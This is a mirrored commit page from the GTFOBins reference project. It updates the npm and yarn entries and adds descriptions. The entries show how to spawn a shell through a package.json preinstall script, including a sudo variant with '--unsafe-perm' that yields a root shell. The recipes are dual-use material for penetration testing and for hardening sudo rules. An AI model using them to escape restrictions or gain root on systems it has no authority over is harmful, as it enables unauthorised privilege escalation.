mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Update yarn and npm shells
Mention an additional way to run scripts as suggested in #224.
This commit is contained in:
parent
390c49394a
commit
fd476e08c2
@ -2,12 +2,14 @@
|
||||
functions:
|
||||
shell:
|
||||
- code: npm exec /bin/sh
|
||||
- code: |
|
||||
- description: Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `npm -C $TF run preinstall`.
|
||||
code: |
|
||||
TF=$(mktemp -d)
|
||||
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
|
||||
npm -C $TF i
|
||||
sudo:
|
||||
- code: |
|
||||
- description: Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `npm -C $TF run preinstall`.
|
||||
code: |
|
||||
TF=$(mktemp -d)
|
||||
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
|
||||
sudo npm -C $TF --unsafe-perm i
|
||||
|
@ -2,7 +2,8 @@
|
||||
functions:
|
||||
shell:
|
||||
- code: yarn exec /bin/sh
|
||||
- code: |
|
||||
- description: Additionally, arbitrary script names can be used in place of `preinstall` and triggered by name with, e.g., `yarn --cwd $TF run preinstall`.
|
||||
code: |
|
||||
TF=$(mktemp -d)
|
||||
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
|
||||
yarn --cwd $TF install
|
||||
|
Loading…
Reference in New Issue
Block a user